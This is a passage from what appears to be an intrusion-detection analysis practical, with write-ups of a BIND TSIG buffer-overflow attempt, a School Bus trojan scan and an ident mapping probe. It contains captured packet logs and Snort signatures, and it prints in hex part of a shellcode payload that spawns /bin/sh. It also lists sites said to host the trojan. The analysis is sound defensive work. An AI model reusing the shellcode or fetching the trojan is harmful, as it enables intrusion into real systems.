06/04-18:49:46.092931 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x42
203.239.54.93:3131 -> a.b.c.229:53 TCP TTL:48 TOS:0x0 ID:2615 IpLen:20
DgmLen:52 DF
***A***F Seq: 0xB9E3E5C7 Ack: 0x16B95850 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 149961798 108073488
13
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:46.093058 8:0:20:C8:D5:FB -> 0:2:FD:4B:5C:60 type:0x800 len:0x42
a.b.c.229:53 -> 203.239.54.93:3131 TCP TTL:255 TOS:0x0 ID:10263 IpLen:20
DgmLen:52 DF
***A**** Seq: 0x16B95850 Ack: 0xB9E3E5C8 Win: 0x2798 TcpLen: 32
TCP Options (3) => NOP NOP TS: 108076892 149961798
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:46.093208 8:0:20:C8:D5:FB -> 0:2:FD:4B:5C:60 type:0x800 len:0x42
a.b.c.229:53 -> 203.239.54.93:3131 TCP TTL:255 TOS:0x0 ID:10264 IpLen:20
DgmLen:52 DF
***A***F Seq: 0x16B95850 Ack: 0xB9E3E5C8 Win: 0x2798 TcpLen: 32
TCP Options (3) => NOP NOP TS: 108076892 149961798
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/04-18:49:46.311656 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x42
203.239.54.93:3131 -> a.b.c.229:53 TCP TTL:48 TOS:0x0 ID:2959 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xB9E3E5C8 Ack: 0x16B95851 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 149961824 108076892
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Source of Trace:
This detect was obtained from the network I monitor at my present employer.
Detect Generated By:
The Gauntlet firewall detect was generated by a UNIX (Solaris 2.6) Gauntlet 5.5 firewall.
The Snort detects were generated by the Snort version 1.7 using the snort.org ruleset
available at http://www.snort.org, and the following custom Snort signature:
alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS BIND
Version Request"; content:"VERSION"; nocase;)
Snort also alerted based on the following signature. The attack appears to be a slight
variant of the TSIG Buffer Overflow attack, which first sends an inverse query to the
victim before sending a false TSIG record. Thus, the signature below matched on the
content in the first packet sent by the attacker after receiving the DNS version number
they requested.
alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS named
iquery attempt"; content: "|0980 0000 0001 0000 0000|";
offset: 2; depth: 16; reference:arachnids,277;
reference:cve,CVE-1999-009; reference:bugtraq,134;)
Probability the Source Address was Spoofed:
The probability this attack was spoofed is very low. The attacker is performing
14
reconnaissance (requesting the version of DNS being used) and launching an attack
(buffer overflow attempt) all in the same attack. If the source was spoofed, the
reconnaissance information and possible root access would not be available to the
attacker. The attacker could be sending the return traffic to another network that is being
monitored, but the IP address resolves to the Korea. Korea seems to be the source of, or
launch pad for, numerous hostile attacks recently. Most likely, the attacker does not care
if their attacks are noticed.
Description of the Attack:
This is a combination of two attacks at once. The attacker is first attempting to
negotiate a three way handshake with three different hosts. Then they request the DNS
version number from the host that has negotiated a connection with them. After receiving
the response, the attacker then appears to launch the BIND TSIG buffer overflow exploit
against the responding victim host. After the victim host responds, the attacker either
continues to communicate with the victim host, or tears down the TCP connection.
The CVE and CERT advisories for the Inverse Query (CVE-2001-0012) and TSIG
Buffer Overflow (CVE-2001-0010) are listed below:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0012
http://www.kb.cert.org/vuls/id/325431
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0010
http://www.kb.cert.org/vuls/id/196945
In addition, Paul Asadoorian wrote an excellent paper on the TSIG exploit located here:
http://www.sans.org/newlook/resources/IDFAQ/TSIG.htm
Attack Mechanism:
The attacker fist attempts to complete the three way handshake with three hosts:
a.b.c.134, a.b.c.139 and a.b.c.229. The first two hosts are internal interfaces on
the external firewall. The connections were dropped by the firewall, as shown in the
Gauntlet logs above. The last host, a.b.c.229, is an unallocated IP address on the internal
network. The firewall, which is running DNS BIND version 8.2.3-REL, is
communicating with the attacker using this IP address. The attacker then requests the
version of DNS being run on the firewall, and receives the string “Cray C90”. This is
because the version number was hardcoded in /etc/named.conf by putting the following
command in the options block:
version "Cray C90";
Having the version number of DNS that name server or firewall is running is quite
valuable to an attacker, and organizations should not be providing this information.
The attacker then sends an iquery (Inverse DNS Query) to the victim host. Quoting Paul
15
Asadoorian, “There is one problem with exploiting the TSIG code; you need to gather
information about environment variables whose values are contained on the stack.
Access to this information is accomplished by sending an IQUERY (Inverse Query) to the
DNS server that will, due to a bug, return the information needed. This bug is known as
Infoleak. ” [6].
Version 8.2.3-REL of DNS BIND is not vulnerable to the Infoleak bug, and therefore the
environment variable information required for the TSIG exploit was not returned to the
attacker. If we interpret the first four bytes of the payload of the victim host’s DNS
response, we will see what was returned. The message format of a DNS query and
response is as follows, where the first 12 bytes is the fixed-length DNS header [2]:
0
15 16
31
Identification number
Flags
Number of questions
Number of answer RR’s
Number of authority RR’s
Number of additional RR’s
Questions
(variable length)
Answers
(variable number of resource records)
Authority
(variable number of resource records)
Additional information
(variable number of resource records)
Figure 1: Format of DNS queries and responses
The identification number is the first 16 bits, or 2 bytes, of the DNS response payload.
Referring to the victim’s response to the inverse query (shown below for ease of
reference), we see that the identification number is 4FA0 in hex. Note that this number
first appears in the attacker’s request for the DNS version number, and is returned by the
victim to match DNS responses to requests.
06/04-18:49:13.698723 8:0:20:C8:D5:FB -> 0:2:FD:4B:5C:60 type:0x800 len:0x3C
a.b.c.229:53 -> 203.239.54.93:2212 UDP TTL:255 TOS:0x0 ID:34979 IpLen:20
DgmLen:40 DF
Len: 20
4F A0 89 81 00 00 00 00 00 00 00 00
O...........
The remaining 2 bytes of the payload are the DNS flags. The format of this field is as
follows [2]:
0
16
QR
opcode
AA
TC
RD
RA
(zero)
rcode
16
1
4
1
1
1
1
3
4
Figure 2: Flags field in the DNS Header Record
The fields in the Flags field are as follows [2]:
QR - A 1-bit field that indicates a query or response. A 0 means a query, and 1 means a
response.
opcode - A 4-bit field that indicates a standard query if the value is a 0, 1 for a inverse
query, and 2 for a server status request.
AA - A 1-bit flag used to indicate the answer is authoritative.
TC - A 1-bit flag that indicates if the reply was truncated as it exceeded 512 bytes.
RD - A 1-bit fields that indicates that a recursive answer is desired, and that the name
server should handle the query itself.
RA - A 1-bit field that means recursion is available.
(zero) - A 3-bit field that must be 0.
rcode - A 4-bit field that contains the return code. A value of 0 indicates “no error”, a 1
indicates a “format error” and that the name server was unable to interpret the query, and
a 3 indicates a “name error” [7].
Referring to the victim’s response, the flag field value is 8981 in hex. Since each digit
represents 4 bits, we must translate the hex values into binary and then use Figure 2 and
the field definitions to interpret the hex code. The binary representation is as follows:
1000 1001 1000 0001. Thus, we find that the rcode field is set to 1, the RA field is
set to 1, the RD field is set to 1, the opcode is 1, and the QR field is set to 1. What is of
interest here is that the victim host’s response is saying that there is a format error with
this inverse query.
Next, the attacker attempts to perform the TSIG buffer overflow with the following
packet containing a false TSIG record and shell code (note that the packet is shown
below for ease of reference, and only the first half of the payload data is displayed):
06/04-18:49:13.924807 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x228
203.239.54.93:2212 -> a.b.c.229:53 UDP TTL:48 TOS:0x0 ID:59049 IpLen:20
DgmLen:538
Len: 518
4F A0 00 00 00 01 00 00 00 00 00 01 3C 90 89 E6 O...........<...
83 C6 40 C7 06 02 00 0B AC C7 46 04 97 C4 47 A0 [email protected].
31 C0 89 46 08 89 46 0C 31 C0 89 46 28 40 89 46 1..F..F.1..F(@.F
24 40 89 46 20 8D 4E 20 31 DB 43 31 C0 83 C0 66 [email protected] .N 1.C1...f
51 53 50 CD 80 89 46 20 90 3C 90 8D 06 89 46 24 QSP...F .<....F$
31 C0 83 C0 10 89 46 28 58 5B 59 43 43 FF 76 20 1.....F(X[YCC.v
CD 80 5B 4F 74 32 8B 04 24 89 46 08 90 BD CB EF ..[Ot2..$.F.....
36 5D 89 6E 04 C7 06 03 80 35 86 B8 04 00 00 00 6].n.....5......
8D 0E 31 D2 83 C2 0C CD 80 C7 06 02 00 61 AE 89 ..1..........a..
6E 04 90 31 FF 47 EB 88 90 31 C0 83 C0 3F 31 C9 n..1.G...1...?1.
50 CD 80 58 41 CD 80 C7 06 2F 62 69 6E C7 46 04 P..XA..../bin.F.
2F 73 68 00 89 F0 83 C0 08 89 46 08 31 C0 89 46 /sh.......F.1..F
0C B0 0B 8D 56 0C 8D 4E 08 89 F3 CD 80 31 C0 40 ....V..N.....1.@
CD 80 3E 41 41 41 41 41 41 41 41 41 41 41 41 41 ..>AAAAAAAAAAAAA
17
…
What is puzzling about this packet is that the shell command “/bin/sh” is not a contiguous
string. The hex string C7 46 04 is inserted between the “/bin” and the “/sh”. At first I
thought that this could be a case of packet corruption on the wire, or the attacker had a
typo in their exploit code. Then I considered that it might be a case of IDS evasion, where
the attacker is trying to evade any signatures that look for “/bin/sh” as a contiguous
string. Also of interest is that this packet does not look very similar to the corresponding
packet in Paul Asadoorian’s paper, but is exactly the same size. Note that the size of the
payload is 6 bytes more than the maximum allowable 512 bytes, not including the IP or
UDP header, and that the TC (truncation) flag is NOT turned on.
In the detect from my network, when compared to Paul Asadoorian’s trace, the fill in the
packet payload has changed, as well as the “/bin/sh” string being broken apart. After
digging into “TCP/IP Illustrated, Volume 1”, it appears that the attacker is using counts to
obfuscate the existence of the /bin/sh string. Before going into counts, first notice that
the attacker has sent one “question”. This is the first hex byte with a rectangle around it in
the packet above. In Paul’s trace, the number of questions is 7. This could easily account
for why the “/bin/sh” command is not located at the same byte offset from the beginning
of the payload. The questions field is composed of a variable length query name and
terminated with a zero byte, with the next two fields in the question being the query type
and query class, both of which are 16 bits.
The purpose of the 1-bit count (which are the next two rectangles), is to identify the
number of bits in each label in the query name. The labels indicate the number of
hierarchical levels in the query name. For instance, spock.startrek.com has three
labels, where the labels would have decimal value 5, 8 and 3. Thus, the query name in the
detect has been broken down into two labels of cardinality 6 and 4, which are the
following two rectangles above. The query name is terminated with a 0 (hex 00), and
then followed by the 16-bit query type. The query type is 89F0 in hex (underlined in the
packet above), which is 35312 in decimal. The query type 35312 is unassigned as of
September, 2000 [8]. The query class value, which is 83c0 in hex and 33728 in decimal
(italicized and following the query type in the above packet), is also unassigned [8].
The next packets in the detect (below) shows the victim host responding to the
unsuccessful buffer overflow attempt with a rcode of 9 (reserved for future use [7]), an
opcode of 0 (a standard query), and a QR value of 1 (it’s a response).
06/04-18:49:13.925166 8:0:20:C8:D5:FB -> 0:2:FD:4B:5C:60 type:0x800 len:0x52
a.b.c.229:53 -> 203.239.54.93:2212 UDP TTL:255 TOS:0x0 ID:34981 IpLen:20
DgmLen:68 DF
Len: 48
4F A0 80 89 00 00 00 00 00 00 00 01 00 00 FA 00 O...............
FF 00 00 00 00 00 11 00 00 00 3B 1C 20 5E 01 2C ..........;. ^.,
00 00 4F A0 00 11 00 00
..O.....
18
Finally, there is a 32-second delay as the attacker's code most likely decides the necessary
environment variable information was not returned and tears down the TCP session that it
had previously opened with the victim host.
Correlations:
It does not appear this attack variant is in wide use, as no correlations were found.
However, DNS version request attacks are quite common. [email protected] received the
DNS Bind version request attack shown below, and is also available online at the
following URL: http://www.sans.org/y2k/041101.htm.
Apr 8 20:00:35 hosty named[154067]: security: notice: denied query from
[212.187.178.91].4887 for "version.bind"
Apr 8 20:00:34 hostm named[5978]: security: notice: denied query from
[212.187.178.91].4888 for "version.bind"
Apr 8 20:00:36 hostj named[371]: security: notice: denied query from
[212.187.178.91].4889 for "version.bind"
A search for a correlation of the BIND 8 TSIG buffer overflow attack proved fruitless.
However, the attacker’s IP has been reported to the SANS CID as having generated
traffic to port 53 TCP and UDP, and ICMP on 6/8/01. URL:
http://www.incidents.org/cid/search.php. Search parameter: Source IP = 203.239.54.93.
Evidence of Active Targeting:
The attacker targeted three IP addresses in a class C subnet. Two of the IP addresses were
interfaces on a firewall that was running DNS. Given that this attack was against DNS
BIND, this was active targeting.
Severity:
Criticality – While the firewall dropped the SYN packets bound for the internal firewall
interfaces, it accepted the packet addressed to the unallocated IP address. However, DNS
is designed to answer queries and return the version number (in its default configuration).
Had a vulnerable version of BIND been running, the criticality would have been much
higher. Criticality = 3.
Lethality – This attack did not do any damage to the network, but could have resulted in a
root compromise if a vulnerable version of BIND was running on the firewall. Lethality =
5.
System Countermeasures – System countermeasures existed on the firewall. The version
of DNS was obfuscated in the /etc/named.conf file, and a version of BIND, 8.2.3-REL,
was being used that is not vulnerable to the Infoleak and TSIG exploits. The firewall was
also fully patched. The firewall did respond to the attackers inverse query and TSIG
record packets, but it was nothing that could be considered "crown jewel" quality.
However, the firewall did respond to the attacker inverse query. System Countermeasures
= 3.
19
Network Countermeasures – The firewall was running the ISC (http://www.isc.org)
recommended version of BIND at the time of the attack. A more secure architecture
would have been a separate DNS server that is hardened and has BIND running in a
chroot'd environment. Network Countermeasures = 3.
(Criticality + Lethality) –
(System Countermeasures + Network Countermeasures) = Severity
(3 + 5) – (3 + 3) = 2
Defensive Recommendation:
A better method of defense than obfuscating the DNS version number would be to add
the following substatement to the “options” block of the named.conf file for BIND 8.2.3
(or 8.2.4) to restrict all queries to only authorized servers:
allow-query {external.dns.server.ip.1;
external.dns.server.ip.2;
internal.network.1.address/subnetmask;
internal.network.2.address/subnetmask;
…
internal.network.x.address/subnetmask;
};
Next, update BIND to version 8.2.4, per the recommendation of http://www.isc.org. The
newest version of BIND is always available here: http://www.isc.org/products/BIND.
Finally, run BIND in a chroot'd environment on a dedicated DNS server that has been
hardened using YASSP (http://www.sans.org/newlook/resources/hard_solaris.htm) for a
Solaris box, or Bastille-Linux (http://www.sans.org/newlook/projects/bastille_linux.htm)
for a Linux box.
Multiple Choice Test Question:
The maximum allowable size of a UDP DNS response payload, not including the IP
or UDP header, is:
a)
b)
c)
d)
532 bytes
1460 bytes
512 bytes
20 bytes
Answer - The correct answer is (c). DNS query responses are limited to 512 bytes of
packet payload. If the payload exceeds 512 bytes, the data should be truncated and the
TC flag should be set to "1" in the TC field of the fixed length DNS header flags field.
20
Detect #3 - School Bus Trojan Scan
Gauntlet Firewall Logs:
May 28 01:35:04 firewall.mycompany.com unix: securityalert: tcp if=hme0 from
216.61.164.172:54321 to a.b.c.6 on unserved port 54321
May 28 01:35:04 firewall.mycompany.com unix: securityalert: tcp if=hme0 from
216.61.164.172:54321 to a.b.c.13 on unserved port 54321
May 28 01:35:04 firewall.mycompany.com unix: securityalert: tcp if=hme0 from
216.61.164.172:54321 to a.b.c.14 on unserved port 54321
May 28 01:35:04 firewall.mycompany.com unix: securityalert: tcp if=hme0 from
216.61.164.172:54321 to a.b.c.34 on unserved port 54321
May 28 01:35:04 firewall.mycompany.com unix: securityalert: no match found in
local screen: TCP if=hme0 srcaddr=216.61.164.172 srcport=54321
dstaddr=a.b.c.17 dstport=54321
May 28 01:35:04 firewall.mycompany.com unix: securityalert: tcp if=hme0 from
216.61.164.172:54321 to a.b.c.20 on unserved port 54321
Snort Logs:
05/28-01:26:58.569727 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
216.61.164.172:54321 -> a.b.c.6:54321 TCP TTL:238 TOS:0x0 ID:16995 IpLen:20
DgmLen:40
******S* Seq: 0x759C2DE3 Ack: 0x863B575 Win: 0x28 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/28-01:26:58.570486 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
216.61.164.172:54321 -> a.b.c.13:54321 TCP TTL:238 TOS:0x0 ID:16995
IpLen:20 DgmLen:40
******S* Seq: 0x759C2DE3 Ack: 0x863B575 Win: 0x28 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/28-01:26:58.571433 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
216.61.164.172:54321 -> a.b.c.14:54321 TCP TTL:238 TOS:0x0 ID:16995
IpLen:20 DgmLen:40
******S* Seq: 0x759C2DE3 Ack: 0x863B575 Win: 0x28 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/28-01:26:58.572439 0:2:FD:4B:5C:60 -> 0:D0:59:13:7C:D2 type:0x800 len:0x3C
216.61.164.172:54321 -> a.b.c.2:54321 TCP TTL:238 TOS:0x0 ID:16995 IpLen:20
DgmLen:40
******S* Seq: 0x759C2DE3 Ack: 0x863B575 Win: 0x28 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/28-01:26:58.583086 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
216.61.164.172:54321 -> a.b.c.34:54321 TCP TTL:238 TOS:0x0 ID:16995
21
IpLen:20 DgmLen:40
******S* Seq: 0x759C2DE3 Ack: 0x863B575 Win: 0x28 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/28-01:26:58.583663 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
216.61.164.172:54321 -> a.b.c.17:54321 TCP TTL:238 TOS:0x0 ID:16995
IpLen:20 DgmLen:40
******S* Seq: 0x759C2DE3 Ack: 0x863B575 Win: 0x28 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/28-01:26:58.584229 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
216.61.164.172:54321 -> a.b.c.20:54321 TCP TTL:238 TOS:0x0 ID:16995
IpLen:20 DgmLen:40
******S* Seq: 0x759C2DE3 Ack: 0x863B575 Win: 0x28 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Source of Trace:
This detect was obtained from the network I monitor at my present employer.
Detect Generated By:
The Gauntlet firewall detect was generated by a UNIX (Solaris 2.6) Gauntlet 5.5 firewall.
Snort did not alert on this attack, as I did not have a signature to match on port 54321
TCP. The Snort box I had running in sniffer mode did capture the packets, however. A
simple Snort rule is shown below that will detect this scan. Note that while a destination
and source port of 54321 is highly unlikely, it is possible as part of normal IP traffic.
alert tcp $EXTERNAL_NET 54321 -> $HOME_NET 54321
(msg:"Possible School Bus Trojan Tasking";)
Also, the Snort detect shows an additional host being scanned (a.b.c.2) that the firewall
logs did not detect. This was the Snort box running in NIDS mode in front of the
firewall. This host was running IPchains and hardened using Bastille-Linux.
Finally, this attacker scanned 147 hosts in my class C subnet. For brevity, the firewall and
Snort logs have been reduced to only show the first few hosts that were scanned.
Probability the Source Address was Spoofed:
The probability this scan was spoofed is unlikely. If it were, the attacker would not know
if they contacted a listening trojan or not. The attacker could be sending the return traffic
to another network that is being monitored, but based on the correlation data, it appears
the host was probably compromised and the attacker was using it as a launch pad for their
scans.
Description of the Attack:
22
This attack is a scan for a listening School Bus Trojan. The attacker is searching for
hosts that have a School Bus server installed on them and are accepting connections on
TCP port 54321. If the attacker finds a host that has a listening server, they are able to
remotely access the infected host. Note that this Trojan only affects Windows versions 95
and 98.
Very little information seems to exist on this Trojan. The Simovits site has some
information on it, available at the following URL:
http://www.simovits.com/trojans/tr_data/y1140.html.
Packetstrom does not appears to have this Trojan available for download. Some of the
sites found to have Schoolbus and/or Schoolbus 2.0 available appear to be foreign owned.
Caution should be exercised in downloading the supposed Trojan from these sites.
http://sirmanteam.virtualave.net/html/trojan.html
http://home.soneraplaza.nl/qn/prive/rolandus/hackstuf1.htm
http://209.235.102.9/~kpb26432/files/trojan.htm
Attack Mechanism:
The attacker is attempting to initiate a three-way handshake with victim hosts on port
54321. If the victim host responds and the three-way handshake is completed, the School
Bus client software can issue remote commands on the victim’s machine.
Of particular interest is the TCP sequence and ACK numbers of the packets. The
sequence number is the same for all the connection attempts, and the Ack number is nonzero. According to TCP/IP Illustrated, Volume 1, the Ack field should never be set
without the ACK flag turned on [2]. In addition, note that the IP ID field has also been
hardcoded to 16995. This suggests that an automated tool crafted these packets.
Correlations:
The following correlations to this same attacker were reported to the incidents.org
mailing list on May 29, 2001:
(Matt Fernow)
May 28 12:41:41 ipmon[5875]: xl1 @0:19 b 216.61.164.172,54321 ->
a.b.c.2,54321 PR tcp len 20 40 -S IN
May 28 12:41:41 ipmon[5875]: xl1 @0:19 b 216.61.164.172,54321 ->
a.b.c.1,54321 PR tcp len 20 40 -S IN
May 28 12:41:56 ipmon[5875]: xl1 @0:19 b 216.61.164.172,54321 ->
a.b.c.1,54321 PR tcp len 20 40 -R IN
(Brent Erickson)
May
May
May
May
May
May
27
27
27
27
27
27
04:21:22
04:21:22
04:21:22
04:21:22
04:21:22
04:21:22
216.61.164.172:54321
216.61.164.172:54321
216.61.164.172:54321
216.61.164.172:54321
216.61.164.172:54321
216.61.164.172:54321
->
->
->
->
->
->
xxx.xxx.123.1:54321
xxx.xxx.123.2:54321
xxx.xxx.123.3:54321
xxx.xxx.123.6:54321
xxx.xxx.123.4:54321
xxx.xxx.123.5:54321
SYN
SYN
SYN
SYN
SYN
SYN
******S*
******S*
******S*
******S*
******S*
******S*
23
May 27 04:21:22 216.61.164.172:54321 -> xxx.xxx.123.8:54321 SYN ******S*
May 27 04:21:22 216.61.164.172:54321 -> xxx.xxx.123.10:54321 SYN ******S*
(Gary Portnoy)
05/27-00:25:02.890304 0:2:4B:BC:B9:E0 -> 8:0:20:B8:F2:36 type:0x800 len:0x3C
216.61.164.172:54321 -> x.y.z.7:54321 TCP TTL:240 TOS:0x0 ID:28897 IpLen:20
DgmLen:40 ******S* Seq: 0x660963E4 Ack: 0x63610C07 Win: 0x28 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/27-00:25:02.891843 0:2:4B:BC:B9:E0 -> 8:0:20:B8:F2:36 type:0x800 len:0x3C
216.61.164.172:54321 -> x.y.z.15:54321 TCP TTL:240 TOS:0x0 ID:28897 IpLen:20
DgmLen:40 ******S* Seq: 0x660963E4 Ack: 0x63610C07 Win: 0x28 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
05/27-00:25:02.904206 0:2:4B:BC:B9:E0 -> 8:0:20:B8:F2:36 type:0x800 len:0x3C
216.61.164.172:54321 -> x.y.z.25:54321 TCP TTL:240 TOS:0x0 ID:28897 IpLen:20
DgmLen:40 ******S* Seq: 0x660963E4 Ack: 0x63610C07 Win: 0x28 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
A search of the SANS CID yielded reports of activity from this attacker dating 5/26/01
through 5/29/01. URL: http://www.incidents.org/cid/search.php. Search parameters:
Source IP = 216.61.164.172 and Source/Target ports = 54321.
Evidence of Active Targeting:
This attacker was deliberately scanning multiple networks on the Internet looking for a
listening School Bus trojan. It is unlikely that the attacker was targeting my particular
network, but they did scan most of the addresses in the subnet.
Severity:
Criticality – Since the scan attempted to connect with every box in my subnet, including
the firewall and all Windows workstations, the criticality of this attack is high. Criticality
= 5.
Lethality – Had any of the Windows hosts in the network been infected with the trojan,
and the host was able to communicate on TCP port 54321 with the attacker, the lethality
would have been high. Lethality = 4.
System Countermeasures – All the hosts on the external side of the firewall had a host
based firewall, did not have an IP address assigned to its interface, or did not receive any
packets from the Internet due to ACL's on the border router. All the web, application, and
log servers on the internal side of the firewall were hardened with YASSP. All Windows
machines were running anti-virus software whose signatures are updated weekly. Finally,
the firewall does not accept connections on TCP port 54321, or allow outbound
connections on this port either. System Countermeasures = 4.
Network Countermeasures – A properly configured network firewall, and host based
firewalls on selected machines in the unprotected DMZ, mitigated the risk of this attack.
Network Countermeasures = 5.
24
(Criticality + Lethality) –
(System Countermeasures + Network Countermeasures) = Severity
(5 + 4) – (4 + 5) = 0
Defensive Recommendation:
The only recommendation is to add the following rule to the Snort box running in NIDS
mode. While the port 54321 is hard to miss in firewall logs, having another alert to this
particular attack scan is a good idea.
alert tcp $EXTERNAL_NET 54321 -> $HOME_NET 54321
(msg:"Possible School Bus Trojan Tasking";)
Multiple Choice Test Question:
Consider the bolded text. Which of the following traces best indicates a crafted packet?
a) 192.168.1.1:54321 -> 192.168.1.10:54321 TCP TTL:238 TOS:0x0 ID:16995
IpLen:20 DgmLen:40
******S* Seq: 0x759C2DE3 Ack: 0x863B575
Win: 0x28 TcpLen: 20
b) 192.168.1.1:54321 -> 192.168.1.10:54321 TCP TTL:238 TOS:0x0 ID:16995
IpLen:20 DgmLen:40
***A**S* Seq: 0x759C2DE3 Ack: 0x863B575 Win: 0x28 TcpLen: 20
c) 192.168.1.1:54321 -> 192.168.1.10:54321 TCP TTL:238 TOS:0x0 ID:16995
IpLen:20 DgmLen:40
***A**S* Seq: 0x759C2DE3 Ack: 0x863B575 Win: 0x4470 TcpLen: 20
d) 192.168.1.1:54321 -> 192.168.1.10:54321 TCP TTL:238 TOS:0x0 ID:16995
IpLen:20 DgmLen:40
******S* Seq: 0x759C2DE3 Ack: 0x0 Win: 0x28 TcpLen: 20
Answer: The correct answer is (a). The acknowledgment field should never be set, or
have a non-zero value, when the ACK flag is not set.
Detect #4 – Network Mapping Attempt Using Ident/Auth SYN-ACK and RST-ACK
Packets
Gauntlet Firewall Logs:
Jun 17 14:41:51 firewall.mycompany.com unix: securityalert: no match found in
local screen: TCP if=hme0 srcaddr=209.25.135.78 srcport=113 dstaddr=a.b.c.17
dstport=1222
Snort Logs:
06/16-13:42:25.862612 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
25
209.25.135.78:113 -> a.b.c.21:1063 TCP TTL:47 TOS:0x0 ID:49904 IpLen:20
DgmLen:44 DF
***A**S* Seq: 0xCEE35D9D Ack: 0x262411B3 Win: 0x4470 TcpLen: 24
TCP Options (1) => MSS: 1460
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/16-13:42:25.863229 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
209.25.135.78:113 -> a.b.c.21:1063 TCP TTL:47 TOS:0x0 ID:49923 IpLen:20
DgmLen:40 DF
***A*R** Seq: 0xCEE35D9E Ack: 0x262411B3 Win: 0x4470 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/16-17:25:35.034206 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
209.25.135.78:113 -> a.b.c.22:1053 TCP TTL:47 TOS:0x0 ID:46775 IpLen:20
DgmLen:44 DF
***A**S* Seq: 0xA2771CAF Ack: 0x662AB3F4 Win: 0x4470 TcpLen: 24
TCP Options (1) => MSS: 1460
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/16-17:25:35.034698 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
209.25.135.78:113 -> a.b.c.22:1053 TCP TTL:47 TOS:0x0 ID:46778 IpLen:20
DgmLen:40 DF
***A*R** Seq: 0xA2771CB0 Ack: 0x662AB3F4 Win: 0x4470 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/16-19:23:05.875818 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
209.25.135.78:113 -> a.b.c.18:1200 TCP TTL:47 TOS:0x0 ID:11335 IpLen:20
DgmLen:44 DF
***A**S* Seq: 0x1C967005 Ack: 0xC633A6CD Win: 0x4470 TcpLen: 24
TCP Options (1) => MSS: 1460
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/16-19:23:05.895233 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
209.25.135.78:113 -> a.b.c.18:1200 TCP TTL:47 TOS:0x0 ID:11516 IpLen:20
DgmLen:40 DF
***A*R** Seq: 0x1C967006 Ack: 0xC633A6CD Win: 0x4470 TcpLen: 20
